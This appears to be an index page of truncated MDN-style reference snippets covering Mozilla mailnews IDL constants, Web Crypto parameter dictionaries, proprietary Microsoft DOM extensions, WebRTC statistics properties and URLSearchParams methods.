PR_USEC_PER_MSEC
a convenience macro to improve code readability as well as to avoid mistakes in counting the number of zeros; represents the number of microseconds in a millisecond. syntax #include <prtime.h> #define pr_usec_per_msec 1000ul ...
mozIStorageBindingParams
the mozistoragebindingparams interface is used to bind values to parameters prior to calling mozistoragestatement.executeasync(). storage/public/mozistoragebindingparams.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.newbindingparams(). method overview void bindbyindex(in unsigned long aindex, in nsivariant avalue); void bindblobbyindex(in unsigned long aindex, [array, const, size_is(avaluesize)] in octet avalue, in unsigned long avaluesize); void binddoublebyindex(in unsigned long aindex, in double avalue); native code only! void bindint32by...
nsIFileStreams
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constants value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed. it may be removed before the stream is closed if it is possible to delete it and still read from it. if open_on_read is defined, and the file was recreated after the first delete, the file will be deleted again when it is closed again. ...
nsIMsgSearchScopeTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchscopeterm.idl [scriptable, uuid(934672c3-9b8f-488a-935d-87b4023fa0be)] interface nsimsgsearchscopeterm : nsisupports { nsiinputstream getinputstream(in nsimsgdbhdr ahdr); void closeinputstream(); readonly attribute nsimsgfolder folder; readonly attribute nsimsgsearchsession searchsession; }; ...
nsMsgFilterFileAttribValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl const nsmsgfilterfileattribvalue attribnone = 0; const nsmsgfilterfileattribvalue attribversion = 1; const nsmsgfilterfileattribvalue attriblogging = 2; const nsmsgfilterfileattribvalue attribname = 3; const nsmsgfilterfileattribvalue attribenabled = 4; const nsmsgfilterfileattribvalue attribdescription = 5; const nsmsgfilterfileattribvalue attribtype = 6; const nsmsgfilterfileattribvalue attribscriptfile = 7; const nsmsgfilterfileattribvalue attribaction = 8; const nsmsgfilterfileattribvalue attribactionvalue = 9; const nsmsgfilterfileattribvalue attribcondition = 10; const nsmsgfilterfileattribvalue attribcustomid = 11; ...
nsMsgJunkStatus
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsgjunkstatus; typedef unsigned long nsmsgjunkscore; ...
nsMsgKey
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsgkey; ...
nsMsgLabelValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsglabelvalue; ...
nsMsgPriorityValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef long nsmsgpriorityvalue; [scriptable, uuid(94c0d8d8-2045-11d3-8a8f-0060b0fc04d2)] interface nsmsgpriority { const nsmsgpriorityvalue notset = 0; const nsmsgpriorityvalue none = 1; const nsmsgpriorityvalue lowest = 2; const nsmsgpriorityvalue low = 3; const nsmsgpriorityvalue normal = 4; const nsmsgpriorityvalue high = 5; const nsmsgpriorityvalue highest = 6; // the default for a priority picker const nsmsgpriorityvalue default = 4; }; ...
nsMsgRuleActionType
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgfiltercore.idl typedef long nsmsgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=1...
nsMsgSearchTypeValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl used to specify type of search to be performed [scriptable,uuid(964b7f32-304e-11d3-ae13-00a0c900d445)] interface nsmsgsearchtype { const nsmsgsearchtypevalue none = 0; const nsmsgsearchtypevalue rootdse = 1; const nsmsgsearchtypevalue normal = 2; const nsmsgsearchtypevalue ldapvlv = 3; const nsmsgsearchtypevalue namecompletion = 4; }; ...
nsMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchvalue(nsmsgsearchvalue); %{c++ typedef struct nsmsgsearchvalue { nsmsgsearchattribvalue attribute; union { nsmsgpriorityvalue priority; prtime date; pruint32 msgstatus; /* see msg_flag in msgcom.h */ pruint32 size; nsmsgkey key; print32 age; /* in days */ nsimsgfolder *folder; nsmsglabelvalue label; pruint32 junkstatus; pruint32 junkpercent; } u; char *string; } nsmsgsearchvalue; ...
nsMsgSearchWidgetValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl fes use this to help build the search dialog box typedef long nsmsgsearchwidgetvalue; /* fes use this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsmsgsearchwidget { const nsmsgsearchwidgetvalue text = 0; const nsmsgsearchwidgetvalue date = 1; const nsmsgsearchwidgetvalue menu = 2; const nsmsgsearchwidgetvalue int = 3; /* added to account for age in days which requires an integer field */ const nsmsgsearchwidgetvalue none = 4; }; ...
nsMsgMessageFlags
constants name value description read 0x00000001 indicates whether or not the message is read. replied 0x00000002 indicates whether or not the message has been replied to. marked 0x00000004 indicates whether or not the message has been flagged/starred expunged 0x00000008 indicates whether or not the message is deleted (but not compacted) hasre 0x00000010 indicates whether or not 're: ' should be added to the head of the subject to get the proper subject. ...
nsMsgViewCommandCheckState
the nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird. it is (as far as i can tell) not currently used anywhere in thunderbird. mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) constants name value description notused 0 checked 1 unchecked 2 ...
nsMsgViewSortOrder
the nsmsgviewsortorder interface contains constants used for sort direction in thunderbird. this interface isn't ever implemented. it is only used to store constants. for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsortorder.ascending mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) constants name value description none 0 ascending 1 descending 2 ...
nsMsgViewSortType
the nsmsgviewsorttype interface contains constants used for sorting the thunderbird threadpane. this interface isn't ever implemented. it is only used to store constants. for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) constants name value description bynone 0x11 not sorted bydate 0x12 bysubject 0x13 byauthor 0x14 byid 0x15 bythread 0x16 bypriority 0x17 bystatus 0x18 bysize 0x19 byflagged 0x1a byunread 0x1b byrecipient 0x1c bylocation 0x1d bytags 0x1e byjunkstatus 0x1f byattachments 0x20 byaccount 0x21 bycustom 0x22 byreceived ...
AesCbcParams - Web APIs
the aescbcparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-cbc algorithm. properties name a domstring. this should be set to aes-cbc. iv a buffersource. the initialization vector. must be 16 bytes, unpredictable, and preferably cryptographically random. however, it need not be secret (for example, it may be transmitted unencrypted along with the ciphertext). examples see the examples for subtlecrypto.encrypt() and subtlecrypto.decrypt(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aescbcparams' in that specification. ...
AesKeyGenParams - Web APIs
the aeskeygenparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.generatekey(), when generating an aes key: that is, when the algorithm is identified as any of aes-cbc, aes-ctr, aes-gcm, or aes-kw. properties name a domstring. this should be set to aes-cbc, aes-ctr, aes-gcm, or aes-kw, depending on the algorithm you want to use. length a number — the length in bits of the key to generate. this must be one of: 128, 192, or 256. examples see the examples for subtlecrypto.generatekey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aeskeygenparams' in that specification. recommendation ...
DOMString - Web APIs
Web › API › DOMString
domstring is a utf-16 string. as javascript already uses such strings, domstring is mapped directly to a string. passing null to a method or parameter accepting a domstring typically stringifies to "null". specifications specification status comment web idlthe definition of 'domstring' in that specification. candidate recommendation ...
DOMStringList - Web APIs
a type returned by some apis which contains a list of domstring (strings). properties domstringlist.length read only returns the length of the list. methods domstringlist.item() returns a domstring. domstringlist.contains() returns boolean indicating if the given string is in the list specifications specification status comment html living standardthe definition of 'domstringlist' in that specification. living standard initial specification ...
DOMStringMap - Web APIs
the domstringmap interface is used for the htmlelement.dataset attribute, to represent data for custom attributes added to elements. specifications specification status comment html living standardthe definition of 'domstringmap' in that specification. living standard ...
EcKeyGenParams - Web APIs
the eckeygenparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.generatekey(), when generating any elliptic-curve-based key pair: that is, when the algorithm is identified as either of ecdsa or ecdh. properties name a domstring. this should be set to ecdsa or ecdh, depending on the algorithm you want to use. namedcurve a domstring representing the name of the elliptic curve to use. this may be any of the following names for nist-approved curves: p-256 p-384 p-521 examples see the examples for subtlecrypto.generatekey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeygenparams' in that specification. recommend...
Element: MSGestureChange event - Web APIs
the msgesturechange event is fired when touch contact positions move and also while inertia-based movements are being processed. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification. ...
Element: MSGestureEnd event - Web APIs
the msgestureend event is fired when all associated touch points have stopped contacting the touch surface, and any associated inertial movements have ended; thus ending the gesture. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification. ...
Element: MSGestureStart event - Web APIs
the msgesturestart event is fired when there's a new point of contact on the touch surface, thus starting a new gesture. when the gesture has ended, a msgestureend event will be fired. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification. ...
Element: MSGestureTap event - Web APIs
the msgesturetap event is fired when the user "taps" the pointing device (e.g., touches the touch surface with their finger, taps the touch surface with a pen device, clicks with a mouse). typically, it's preferable to listen for the click event instead. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification. ...
Element: MSInertiaStart event - Web APIs
the msinertiastart event is fired when contact with the touch surface stops when a scroll has enough inertia to continue scrolling. this event may not be fired if the scroll is sufficiently slow. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification. ...
Element: msContentZoom event - Web APIs
the mscontentzoom event fires when a user zooms the element (changes the scale of the content). it is a proprietary event specific to microsoft edge and internet explorer. zoomed elements can expose their zoom level through mscontentzoom (ie. scrolltop/left). the zoom level can be reset with element.mszoomto(). bubbles unknown cancelable unknown interface unknown event handler property unknown example contentzoom.addeventlistener("mscontentzoom", function(e) { zoomfactor.value = contentzoom.mscontentzoomfactor.tofixed(2); }); specifications not part of any specification. ...
msClearEffects - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mscleareffects method of the htmlmediaelement, is a proprietary method specific to internet explorer and microsoft edge. mscleareffects clears all effects from the media pipeline. syntax htmlmediaelement.mscleareffects(); parameters this method has no parameters. return value this method does not return a value. see also touch api microsoft api extensions ...
HTMLMediaElement.msInsertAudioEffect() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the htmlmediaelement.msinsertaudioeffect() method inserts the specified audio effect into the media pipeline. this proprietary method is specific to internet explorer and microsoft edge. syntax htmlmediaelement.msinsertaudioeffect(activatableclassid: domstring, effectrequired: boolean, config); parameters activatableclassid a domstring defining the audio effects class. effectrequired a boolean which if set to true requires an audio effect to be defined. configoptional an optional object...
HTMLVideoElement.msFrameStep() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the htmlvideoelement.msframestep() method steps the video by one frame forward or one frame backward. this proprietary method is specific to internet explorer and microsoft edge. syntax htmlvideoelement.msframestep(forward); parameters forward a boolean which if set to true steps the video forward by one frame, if false steps the video backwards by one frame. return value this method does not return a value. see also htmlmediaelement microsoft api extensions ...
HTMLVideoElement.msIsStereo3D - Web APIs
msisstereo3d is a read-only property which determines whether the system considers the loaded video source to be stereo 3-d or not. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.msisstereo3d: boolean; value boolean value set to true indicates that the video source is stereo 3d. this uses metadata set in mp4 or mpeg-2 file containers and h.264 supplemental enhancement information (sei) messages to determine the stereo capability of the source. ...
msStereo3DPackingMode - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msstereo3dpackingmode is a read/write property which gets or sets the frame-packing mode for stereo 3-d video content. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.msstereo3dpackingmode(topbottom, sidebyside, none); value the following values return, or set, the stereo 3-d content packing as "topbottom", "sidebyside", or "none" for regular 2-d video. none (0): specifies regular 2-d video. topbottom (1): specifies stereo 3-d cont...
msStereo3DRenderMode - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msstereo3drendermode is a read/write property which gets or sets whether the system display is set to stereo display (if stereo-capable). this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.msstereo3drendermode(mono, stereo); value the following values set the stereo display to mono or stereo. the default is mono. mono (0): specifies that stereo mode is disabled. stereo (1): specifies stereo mode is enabled. see also htmlvideoelem...
MSRangeCollection - Web APIs
non-standard. do not use! this object is a microsoft extension and is only supported in internet explorer. the msrangecollection object is an array of one or more range objects. remarks the msrangecollection object does not inherit from any class or interface and does not define any members. ...
msExtendedCode - Web APIs
standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. in the event of an error, the media element's error event will be fired. the element's error property will then contain an msextendedcode read-only property with platform-specific error code information. msextendedcode is a read-only proprietary property specific to internet explorer and microsoft edge. value type: long; the platform specific error code. example var video1 = object.getelementbyid("video1"); video1.addeventlistener('error', function () { var error = video1.error.msextendedcode; //... }, false);...
msPlayToDisabled - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msplaytodisabled is a read/write property which gets and sets if the playto device is enabled or disabled. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytodisabled; value boolean value set to true indicates that the playto device is disabled. the msplaytodisabled attribute extends the htmlembedelement, htmlimageelement, htmlmediaelement, and htmlobject interfaces. ...
RTCInboundRtpStreamStats.framesDecoded - Web APIs
the framesdecoded property of the rtcinboundrtpstreamstats dictionary indicates the total number of frames which have been decoded successfully for this media source. syntax var framesdecoded = rtcinboundrtpstreamstats.framesdecoded; value an integer value indicating the total number of video frames which have been decoded for this stream so far. this represents the number of frames that would have been displayed assuming no frames were skipped. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.framesdecoded' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
the lastpacketreceivedtimestamp property of the rtcinboundrtpstreamstats dictionary indicates the time at which the most recently received packet arrived from this source. syntax var lastpackettimestamp = rtcinboundrtpstreamstats.lastpacketreceivedtimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream. note: this value differs from the timestamp, which represents the time at which the statistics object was created. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.lastpacketreceivedtimestamp' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcinboundrtpstreamstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the sender. a nack (negative acknowledgement, also called "generic nack") packet tells the sender that one or more of the rtp packets it sent were lost in transport. syntax var nackcount = rtcinboundrtpstreamstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the sender after detecting that one or more packets were lost during transport. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.nackcount' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
the packetsfaileddecryption property of the rtcinboundrtpstreamstats dictionary indicates the total number of rtp packets which failed to be decrypted successfully after being received by the local end of the connection during this session. syntax var packetsfaileddecryption = rtcinboundrtpstreamstats.packetsfaileddecryption; value an integer value which indicates how many packets the local end of the rtp connection could not be successfully decrypted. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsfaileddecryption' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.receiverId - Web APIs
the receiverid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object representing the rtcrtpreceiver receiving the stream. syntax var receiverstatsid = rtcinboundrtpstreamstats.receiverid; value a domstring which contains the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object which provides information about the rtcrtpreceiver which is receiving the streamed media. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.receiverid' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcremoteoutboundrtpstreamstats object representing the remote peer's rtcrtpsender which is sending the media to the local peer. syntax var remotestatsid = rtcinboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteoutboundrtpstreamstats object that represents the remote peer's rtcrtpsender for the synchronization source represented by this stats object. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.remoteid' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcinboundrtpstreamstats dictionary indicates the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the mediastreamtrack which is receiving the incoming media. syntax var trackstatsid = rtcinboundrtpstreamstats.trackid; value a domstring containing the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the track which is receiving the media from this rtp session. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.trackid' in that specification. candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
the framesencoded property of the rtcoutboundrtpstreamstats dictionary indicates the total number of frames that have been encoded by this rtcrtpsender for this media source. syntax var framesencoded = rtcoutboundrtpstreamstats.framesencoded; value an integer value indicating the total number of video frames that this sender has encoded so far for this stream. note: this property is only valid for video streams. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.framesencoded' in that specification. candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
the lastpacketsenttimestamp property of the rtcoutboundrtpstreamstats dictionary indicates the time at which the rtcrtpsender described by this rtcoutboundrtpstreamstats object last transmitted a packet to the remote receiver. syntax var lastpackettimestamp = rtcoutboundrtpstreamstats.lastpacketsenttimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream. note: this value differs from the timestamp, which represents the time at which the statistics object was created. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.lastpacketsenttimestamp' in that specification. candidate recommendation initial def...
RTCOutboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcoutboundrtpstreamstats dictionary is a numeric value indicating the number of times the rtcrtpsender described by this object received a nack packet from the remote receiver. a nack (negative acknowledgement, also called "generic nack") packet is used by the rtcrtpreceiver to inform the sender that one or more rtp packets it sent were lost in transport. syntax var nackcount = rtcoutboundrtpstreamstats.nackcount; value an integer value indicating how many times the sender received a nack packet from the receiver, indicating the loss of one or more packets. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.nackcount' in that specification. candidate r...
RTCOutboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcoutboundrtpstreamstats dictionary specifies the id of the rtcremoteinboundrtpstreamstats object representing the remote peer's rtcrtpreceiver which is sending the media to the local peer for this ssrc. syntax var remotestatsid = rtcoutboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteinboundrtpstreamstats object that represents the remote peer's rtcrtpreceiver for the synchronization source represented by this stats object. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.remoteid' in that specification. candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcoutboundrtpstreamstats dictionary indicates the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the mediastreamtrack which is being sent on this stream. syntax var trackstatsid = rtcoutboundrtpstreamstats.trackid; value a domstring containing the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the track which is the source of the media being sent on this stream. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.trackid' in that specification. candidate recommendation initial definition. ...
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
usage notes sender reports, described in rfc 3550, section 6.4.1 with an overview in rfc 3550, section 6.4, are used by rtp to share data transmission quality feedback between the two peers. the data in these reports is used by webrtc to fill out various fields within the statistics objects, and this property's value indicates how many times that information was shared. ...
RTCRtpStreamStats.codecId - Web APIs
the rtcrtpstreamstats dictionary's codecid property is a string which uniquely identifies the object that was inspected to produce the data in the rtccodecstats for the rtp stream. syntax var codecid = rtcrtpstreamstats.codecid; value a domstring which uniquely identifies the object from which the contents of the stream's rtccodecstats are derived. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.codecid' in that specification. candidate recommendation initial definition. ...
RTCRtpStreamStats.trackId - Web APIs
the rtcrtpstreamstats dictionary's trackid property is a string which uniquely identifies the rtcmediastreamtrackstats object which contains the track statistics for the mediastreamtrack for which statistics are provided in this object. syntax var trackid = rtcrtpstreamstats.trackid; value a domstring which uniquely identifies the rtcmediastreamtrackstats object that provides statistics for the track for which statistics are being collected by this rtcstatsreport. note: this value is not the same as the value of mediastramtrack.id. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.trackid' in that specification. candidate recommendation initial definition. ...
RTCRtpStreamStats.transportId - Web APIs
the rtcrtpstreamstats dictionary's transportid property is a string which uniquely identifies the object from which the statistics contained in the rtctransportstats properties in the rtcstatsreport. syntax var transportid = rtcrtpstreamstats.transportid; value a domstring uniquely identifying the source of the statistics contained the rtctransportstats properties in the rtcstatsreport. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.transportid' in that specification. candidate recommendation initial definition. ...
RTCTrackEvent.streams - Web APIs
the webrtc api interface rtctrackevent's read-only streams property specifies an array of mediastream objects, one for each of the streams that comprise the track being added to the rtcpeerconnection. syntax var streams = trackevent.streams; value an array of mediastream objects, one for each stream that make up the new track. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.streams' in that specification. candidate recommendation initial specification. ...
RTCTrackEventInit.streams - Web APIs
the rtctrackeventinit dictionary's optional streams property provides an array containing a mediastream object for each of the streams associated with the event's track. syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var streamlist = trackeventinit.streams; value an array of mediastream objects, one for each stream which make up the track. if streams is not specified, its default value is an empty array. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.streams' in that specification. candidate recommendation initial specification. ...
URL.searchParams - Web APIs
Web › API › URL › searchParams
the searchparams readonly property of the url interface returns a urlsearchparams object allowing access to the get decoded query arguments contained in the url. note: this feature is available in web workers. syntax const urlsearchparams = url.searchparams value a urlsearchparams object. examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith". let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchparams' in that specification. living standard initial definition. ...
URLSearchParams.delete() - Web APIs
the delete() method of the urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters. note: this feature is available in web workers. syntax urlsearchparams.delete(name) parameters name the name of the parameter to be deleted. return value void examples let url = new url('https://example.com?foo=1&bar=2&foo=3'); let params = new urlsearchparams(url.search.slice(1)); // delete the foo parameter. params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment urlthe definition of 'delete()' in that specification. living standard initial definition. ...
URLSearchParams.entries() - Web APIs
the entries() method of the urlsearchparams interface returns an iterator allowing iteration through all key/value pairs contained in this object. the key and value of each pair are usvstring objects. note: this feature is available in web workers. syntax searchparams.entries(); parameters none. return value returns an iterator. examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification. living standard initial definiti...
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchparams interface allows iteration through all values contained in this object via a callback function. note: this feature is available in web workers. syntax searchparams.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value provided as its parameter. return value void. examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification. living stand...
URLSearchParams.has() - Web APIs
the has() method of the urlsearchparams interface returns a boolean that indicates whether a parameter with the specified name exists. note: this feature is available in web workers. syntax var hasname = urlsearchparams.has(name) parameters name the name of the parameter to find. return value a boolean. examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification. living standard initial definition. ...
URLSearchParams.keys() - Web APIs
the keys() method of the urlsearchparams interface returns an iterator allowing iteration through all keys contained in this object. the keys are usvstring objects. note: this method is available in web workers. syntax searchparams.keys(); parameters none. return value returns an iterator. examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification. living standard initial definition. ...
URLSearchParams.values() - Web APIs
the values() method of the urlsearchparams interface returns an iterator allowing iteration through all values contained in this object. the values are usvstring objects. note: this feature is available in web workers. syntax searchparams.values(); parameters none. return value returns an iterator. examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification. living standard initial definition. ...
msCaching - Web APIs
Web › API › msCaching
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not. this proprietary method is specific to internet explorer and microsoft edge. syntax cachestate = object.mscaching values type: domstring property value description auto disables caching for stream or ms-stream data. enabled enables caching for stream or ms-stream data. disabled disables caching for any data. see also m...
msGetPropertyEnabled - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msgetpropertyenabled returns whether a given property in the style object is enabled. this proprietary method is specific to internet explorer browser. syntax var retval = style.msgetpropertyenabled(name); parameters name [in] type: string the name of the property to enable. return value type: boolean if false, the property is not enabled. if true, the property is enabled. see also microsoft api extensions ...
msGetRegionContent - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msgetregioncontent returns an array of range instances corresponding to the content from the region flow that is positioned in the region. this proprietary method is specific to internet explorer browser. syntax var retval = element.msgetregioncontent(); parameters retval [out, reval] type: msrangecollection the name of the property to enable. return value type: boolean returned ranges are sorted by document position and do not overlap. if an element is not a region, this method t...
msPutPropertyEnabled - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msputpropertyenabled method sets whether a given property in the style object is enabled or disabled. this proprietary method is specific to internet explorer and microsoft edge. syntax var retval = style.msputpropertyenabled(propertyname, true); parameters name[in]: name of the property. (string) boolean[in]: true = enable the property. false = disable the property. return value type = hresult: if this method succeeds, it returns s_ok. otherwise, it returns an hresult error code. ...
Forms - Accessibility
...
HTML To MSAA - Accessibility
this table reflects mapping rules for specific elements only, it doesn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title attribute. ...
CSS Transforms - CSS: Cascading Style Sheets
css transforms is a module of css that defines how elements styled with css can be transformed in two-dimensional or three-dimensional space. reference properties backface-visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transforms step-by-step tutorial about how to transform elements styled with css. specifications specification status comment css transforms level 1 working draft initial definition. css transforms level 2 editor's draft adds individual transforms. ...
